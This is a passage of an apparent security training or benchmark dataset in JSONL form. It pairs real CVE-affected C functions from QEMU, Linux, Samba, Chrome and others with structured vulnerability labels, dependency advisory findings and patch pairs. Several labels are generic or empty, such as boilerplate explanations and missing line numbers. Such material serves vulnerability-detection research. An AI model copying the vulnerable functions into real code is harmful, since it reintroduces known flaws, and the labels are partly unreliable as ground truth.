v9fs_path_init(&path);\n\n fse = get_fsdev_fsentry(s->fsconf.fsdev_id);\n\n if (!fse) {\n /* We don't have a fsdev identified by fsdev_id */\n error_setg(errp, \"9pfs device couldn't find fsdev with the \"\n \"id = %s\",\n s->fsconf.fsdev_id ? s->fsconf.fsdev_id : \"NULL\");\n goto out;\n }\n\n if (!s->fsconf.tag) {\n /* we haven't specified a mount_tag */\n error_setg(errp, \"fsdev with id %s needs mount_tag arguments\",\n s->fsconf.fsdev_id);\n goto out;\n }\n\n s->ctx.export_flags = fse->export_flags;\n s->ctx.fs_root = g_strdup(fse->path);\n s->ctx.exops.get_st_gen = NULL;\n len = strlen(s->fsconf.tag);\n if (len > MAX_TAG_LEN - 1) {\n error_setg(errp, \"mount tag '%s' (%d bytes) is longer than \"\n \"maximum (%d bytes)\", s->fsconf.tag, len, MAX_TAG_LEN - 1);\n goto out;\n }\n\n s->tag = g_strdup(s->fsconf.tag);\n s->ctx.uid = -1;\n\n s->ops = fse->ops;\n\n s->fid_list = NULL;\n qemu_co_rwlock_init(&s->rename_lock);\n\n if (s->ops->init(&s->ctx) < 0) {\n error_setg(errp, \"9pfs Failed to initialize fs-driver with id:%s\"\n \" and export path:%s\", s->fsconf.fsdev_id, s->ctx.fs_root);\n goto out;\n }\n\n /*\n * Check details of export path, We need to use fs driver\n * call back to do that. Since we are in the init path, we don't\n * use co-routines here.\n */\n if (s->ops->name_to_path(&s->ctx, NULL, \"/\", &path) < 0) {\n error_setg(errp,\n \"error in converting name to path %s\", strerror(errno));\n goto out;\n }\n if (s->ops->lstat(&s->ctx, &path, &stat)) {\n error_setg(errp, \"share path %s does not exist\", fse->path);\n goto out;\n } else if (!S_ISDIR(stat.st_mode)) {\n error_setg(errp, \"share path %s is not a directory\", fse->path);\n goto out;\n }\n v9fs_path_free(&path);\n\n rc = 0;\n out:\n if (rc) {\n g_free(s->ctx.fs_root);\n g_free(s->tag);\n v9fs_path_free(&path);\n }\n return rc;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-400\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-9913\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [\n 85\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"labeled_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 83,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 83,\n \"col\": 8\n },\n {\n \"token\": \"rc\",\n \"ast_node\": \"identifier\",\n \"line\": 83,\n \"col\": 9\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 83,\n \"col\": 11\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 83,\n \"col\": 13\n },\n {\n \"token\": \"g_free\",\n \"ast_node\": \"identifier\",\n \"line\": 84,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 84,\n \"col\": 14\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 84,\n \"col\": 15\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 84,\n \"col\": 16\n },\n {\n \"token\": \"ctx\",\n \"ast_node\": \"field_identifier\",\n \"line\": 84,\n \"col\": 18\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 84,\n \"col\": 21\n },\n {\n \"token\": \"fs_root\",\n \"ast_node\": \"field_identifier\",\n \"line\": 84,\n \"col\": 22\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 84,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 84,\n \"col\": 30\n },\n {\n \"token\": \"g_free\",\n \"ast_node\": \"identifier\",\n \"line\": 85,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 85,\n \"col\": 15\n },\n {\n \"token\": \"s\",\n \"ast_node\": \"identifier\",\n \"line\": 85,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 85,\n \"col\": 17\n },\n {\n \"token\": \"tag\",\n \"ast_node\": \"field_identifier\",\n \"line\": 85,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 85,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 85,\n \"col\": 23\n },\n {\n \"token\": \"v9fs_path_free\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 9\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 86,\n \"col\": 23\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 86,\n \"col\": 24\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"identifier\",\n \"line\": 86,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 86,\n \"col\": 29\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 86,\n \"col\": 30\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 87,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "bool ChromeOSStopInputMethodProcess(InputMethodStatusConnection* connection) {\n g_return_val_if_fail(connection, false);\n return connection->StopInputMethodProcess();\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2011-2804\",\n \"project\": \"Chrome\",\n \"vulnerable_lines\": [\n 2,\n 3,\n 4\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"bool\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"ChromeOSStopInputMethodProcess\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"InputMethodStatusConnection\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"connection\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \"g_return_val_if_fail\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 22\n },\n {\n \"token\": \"connection\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 33\n },\n {\n \"token\": \"false\",\n \"ast_node\": \"false\",\n \"line\": 2,\n \"col\": 35\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"connection\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"StopInputMethodProcess\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 21\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 45\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 4,\n \"col\": 0\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: signxml\nInstalled version: <4.0.4\nSummary: SignXML's signature verification with HMAC is vulnerable to an algorithm confusion attack", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-1921\",\n \"cve\": \"CVE-2025-48994\",\n \"aliases\": [\n \"CVE-2025-48994\",\n \"GHSA-6vx8-pcwv-xhf4\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"signxml\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4.0.4\",\n \"fixed_version\": \"4.0.4\",\n \"finding\": \"SignXML's signature verification with HMAC is vulnerable to an algorithm confusion attack\",\n \"remediation\": \"Upgrade signxml to 4.0.4 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag)\n {\n\tstruct request *rq = tags->rqs[tag];\n\t/* mq_ctx of flush rq is always cloned from the corresponding req */\n\tstruct blk_flush_queue *fq = blk_get_flush_queue(rq->q, rq->mq_ctx);\n\tif (!is_flush_request(rq, fq, tag))\n\t\treturn rq;\n\treturn fq->flush_rq;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"cve\": \"CVE-2015-9016\",\n \"fixed_code\": \" struct request *blk_mq_tag_to_rq(struct blk_mq_tags *tags, unsigned int tag)\\n {\\n\\treturn tags->rqs[tag];\\n }\\n\",\n \"change_summary\": \"blk-mq: fix race between timeout and freeing request\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void tv_details_row_activated(\n GtkTreeView *tree_view,\n GtkTreePath *tree_path_UNUSED,\n GtkTreeViewColumn *column,\n gpointer user_data)\n{\n gchar *item_name;\n struct problem_item *item = get_current_problem_item_or_NULL(tree_view, &item_name);\n if (!item || !(item->flags & CD_FLAG_TXT))\n goto ret;\n if (!strchr(item->content, '\\n')) /* one line? */\n goto ret; /* yes */\n\n gint exitcode;\n gchar *arg[3];\n arg[0] = (char *) \"xdg-open\";\n arg[1] = concat_path_file(g_dump_dir_name, item_name);\n arg[2] = NULL;\n\n const gboolean spawn_ret = g_spawn_sync(NULL, arg, NULL,\n G_SPAWN_SEARCH_PATH | G_SPAWN_STDOUT_TO_DEV_NULL,\n NULL, NULL, NULL, NULL, &exitcode, NULL);\n\n if (spawn_ret == FALSE || exitcode != EXIT_SUCCESS)\n {\n GtkWidget *dialog = gtk_dialog_new_with_buttons(_(\"View/edit a text file\"),\n GTK_WINDOW(g_wnd_assistant),\n GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT,\n NULL, NULL);\n GtkWidget *vbox = gtk_dialog_get_content_area(GTK_DIALOG(dialog));\n GtkWidget *scrolled = gtk_scrolled_window_new(NULL, NULL);\n GtkWidget *textview = gtk_text_view_new();\n\n gtk_dialog_add_button(GTK_DIALOG(dialog), _(\"_Save\"), GTK_RESPONSE_OK);\n gtk_dialog_add_button(GTK_DIALOG(dialog), _(\"_Cancel\"), GTK_RESPONSE_CANCEL);\n\n gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0);\n gtk_widget_set_size_request(scrolled, 640, 480);\n gtk_widget_show(scrolled);\n\n#if ((GTK_MAJOR_VERSION == 3 && GTK_MINOR_VERSION < 7) || (GTK_MAJOR_VERSION == 3 && GTK_MINOR_VERSION == 7 && GTK_MICRO_VERSION < 8))\n /* http://developer.gnome.org/gtk3/unstable/GtkScrolledWindow.html#gtk-scrolled-window-add-with-viewport */\n /* gtk_scrolled_window_add_with_viewport has been deprecated since version 3.8 and should not be used in newly-written code. */\n gtk_scrolled_window_add_with_viewport(GTK_SCROLLED_WINDOW(scrolled), textview);\n#else\n /* gtk_container_add() will now automatically add a GtkViewport if the child doesn't implement GtkScrollable. */\n gtk_container_add(GTK_CONTAINER(scrolled), textview);\n#endif\n\n gtk_widget_show(textview);\n\n load_text_to_text_view(GTK_TEXT_VIEW(textview), item_name);\n \n if (gtk_dialog_run(GTK_DIALOG(dialog)) == GTK_RESPONSE_OK)\n save_text_from_text_view(GTK_TEXT_VIEW(textview), item_name);\n \n gtk_widget_destroy(textview);\n gtk_widget_destroy(scrolled);\n gtk_widget_destroy(dialog);\n }\n\n free(arg[1]);\n ret:\n g_free(item_name);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-5302\",\n \"project\": \"libreport\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "AMediaCodecCryptoInfo *AMediaCodecCryptoInfo_new(\n int numsubsamples,\n uint8_t key[16],\n uint8_t iv[16],\n cryptoinfo_mode_t mode,\n size_t *clearbytes,\n\n size_t *encryptedbytes) {\n \n size_t cryptosize = sizeof(AMediaCodecCryptoInfo) + sizeof(size_t) * numsubsamples * 2;\n AMediaCodecCryptoInfo *ret = (AMediaCodecCryptoInfo*) malloc(cryptosize);\n if (!ret) {\n ALOGE(\"couldn't allocate %zu bytes\", cryptosize);\n return NULL;\n }\n ret->numsubsamples = numsubsamples;\n memcpy(ret->key, key, 16);\n memcpy(ret->iv, iv, 16);\n ret->mode = mode;\n ret->pattern.encryptBlocks = 0;\n ret->pattern.skipBlocks = 0;\n\n ret->clearbytes = (size_t*) (ret + 1); // point immediately after the struct\n ret->encryptedbytes = ret->clearbytes + numsubsamples; // point after the clear sizes\n\n memcpy(ret->clearbytes, clearbytes, numsubsamples * sizeof(size_t));\n memcpy(ret->encryptedbytes, encryptedbytes, numsubsamples * sizeof(size_t));\n\n return ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2018-9491\",\n \"fixed_code\": \"AMediaCodecCryptoInfo *AMediaCodecCryptoInfo_new(\\n int numsubsamples,\\n uint8_t key[16],\\n uint8_t iv[16],\\n cryptoinfo_mode_t mode,\\n size_t *clearbytes,\\n\\n size_t *encryptedbytes) {\\n \\n size_t cryptosize;\\n // = sizeof(AMediaCodecCryptoInfo) + sizeof(size_t) * numsubsamples * 2;\\n if (__builtin_mul_overflow(sizeof(size_t) * 2, numsubsamples, &cryptosize) ||\\n __builtin_add_overflow(cryptosize, sizeof(AMediaCodecCryptoInfo), &cryptosize)) {\\n ALOGE(\\\"crypto size overflow\\\");\\n return NULL;\\n }\\n AMediaCodecCryptoInfo *ret = (AMediaCodecCryptoInfo*) malloc(cryptosize);\\n if (!ret) {\\n ALOGE(\\\"couldn't allocate %zu bytes\\\", cryptosize);\\n return NULL;\\n }\\n ret->numsubsamples = numsubsamples;\\n memcpy(ret->key, key, 16);\\n memcpy(ret->iv, iv, 16);\\n ret->mode = mode;\\n ret->pattern.encryptBlocks = 0;\\n ret->pattern.skipBlocks = 0;\\n\\n ret->clearbytes = (size_t*) (ret + 1); // point immediately after the struct\\n ret->encryptedbytes = ret->clearbytes + numsubsamples; // point after the clear sizes\\n\\n memcpy(ret->clearbytes, clearbytes, numsubsamples * sizeof(size_t));\\n memcpy(ret->encryptedbytes, encryptedbytes, numsubsamples * sizeof(size_t));\\n\\n return ret;\\n}\\n\",\n \"change_summary\": \"Check for overflow of crypto size\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static int clie_5_attach(struct usb_serial *serial)\n{\n\tstruct usb_serial_port *port;\n\tunsigned int pipe;\n\tint j;\n\n\t/* TH55 registers 2 ports.\n\t Communication in from the UX50/TH55 uses bulk_in_endpointAddress\n\t from port 0. Communication out to the UX50/TH55 uses\n\t bulk_out_endpointAddress from port 1\n\n\t Lets do a quick and dirty mapping\n \t */\n \n \t/* some sanity check */\n\tif (serial->num_ports < 2)\n\t\treturn -1;\n \n \t/* port 0 now uses the modified endpoint Address */\n \tport = serial->port[0];\n\tport->bulk_out_endpointAddress =\n\t\t\t\tserial->port[1]->bulk_out_endpointAddress;\n\n\tpipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);\n\tfor (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)\n\t\tport->write_urbs[j]->pipe = pipe;\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2015-7566\",\n \"fixed_code\": \"static int clie_5_attach(struct usb_serial *serial)\\n{\\n\\tstruct usb_serial_port *port;\\n\\tunsigned int pipe;\\n\\tint j;\\n\\n\\t/* TH55 registers 2 ports.\\n\\t Communication in from the UX50/TH55 uses bulk_in_endpointAddress\\n\\t from port 0. Communication out to the UX50/TH55 uses\\n\\t bulk_out_endpointAddress from port 1\\n\\n\\t Lets do a quick and dirty mapping\\n \\t */\\n \\n \\t/* some sanity check */\\n\\tif (serial->num_bulk_out < 2) {\\n\\t\\tdev_err(&serial->interface->dev, \\\"missing bulk out endpoints\\\\n\\\");\\n\\t\\treturn -ENODEV;\\n\\t}\\n \\n \\t/* port 0 now uses the modified endpoint Address */\\n \\tport = serial->port[0];\\n\\tport->bulk_out_endpointAddress =\\n\\t\\t\\t\\tserial->port[1]->bulk_out_endpointAddress;\\n\\n\\tpipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);\\n\\tfor (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)\\n\\t\\tport->write_urbs[j]->pipe = pipe;\\n\\n\\treturn 0;\\n}\\n\",\n \"change_summary\": \"USB: serial: visor: fix crash on detecting device without write_urbs\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-703", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline void sem_lock_and_putref(struct sem_array *sma)\n{\n\tipc_lock_by_ptr(&sma->sem_perm);\n\tipc_rcu_putref(sma);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-703\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-400", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.cxf:cxf\nInstalled version: 3.4.0\nSummary: Authorization service vulnerable to DDos attacks in Apache CFX", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-7q4h-pj78-j7vg\",\n \"cve\": \"CVE-2021-22696\",\n \"aliases\": [\n \"CVE-2021-22696\"\n ],\n \"cwe\": \"CWE-400\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.cxf:cxf\",\n \"severity\": \"high\",\n \"affected_versions\": \">=3.4.0, <3.4.3\",\n \"fixed_version\": \"3.4.3\",\n \"finding\": \"Authorization service vulnerable to DDos attacks in Apache CFX\",\n \"remediation\": \"Upgrade org.apache.cxf:cxf to 3.4.3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void tty_set_termios_ldisc(struct tty_struct *tty, int num)\n{\n \tdown_write(&tty->termios_rwsem);\n \ttty->termios.c_line = num;\n \tup_write(&tty->termios_rwsem);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8964\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": " bool asn1_read_BOOLEAN_context(struct asn1_data *data, bool *v, int context)\n {\n uint8_t tmp = 0;\n asn1_start_tag(data, ASN1_CONTEXT_SIMPLE(context));\n asn1_read_uint8(data, &tmp);\n if (tmp == 0xFF) {\n *v = true;\n } else {\n *v = false;\n }\n asn1_end_tag(data);\n return !data->has_error;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-7540\",\n \"project\": \"samba\",\n \"vulnerable_lines\": [\n 4,\n 5,\n 8,\n 9,\n 11,\n 12\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"bool\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"asn1_read_BOOLEAN_context\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"asn1_data\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"bool\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"v\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"uint8_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"tmp\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 23\n },\n {\n \"token\": \"asn1_start_tag\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"ASN1_CONTEXT_SIMPLE\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 47\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 55\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 56\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 57\n },\n {\n \"token\": \"asn1_read_uint8\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 29\n },\n {\n \"token\": \"tmp\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"tmp\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 12\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \"0xFF\",\n \"ast_node\": \"number_literal\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 23\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"v\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 19\n },\n {\n \"token\": \"true\",\n \"ast_node\": \"true\",\n \"line\": 7,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \"v\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"false\",\n \"ast_node\": \"false\",\n \"line\": 9,\n \"col\": 20\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 25\n },\n {\n 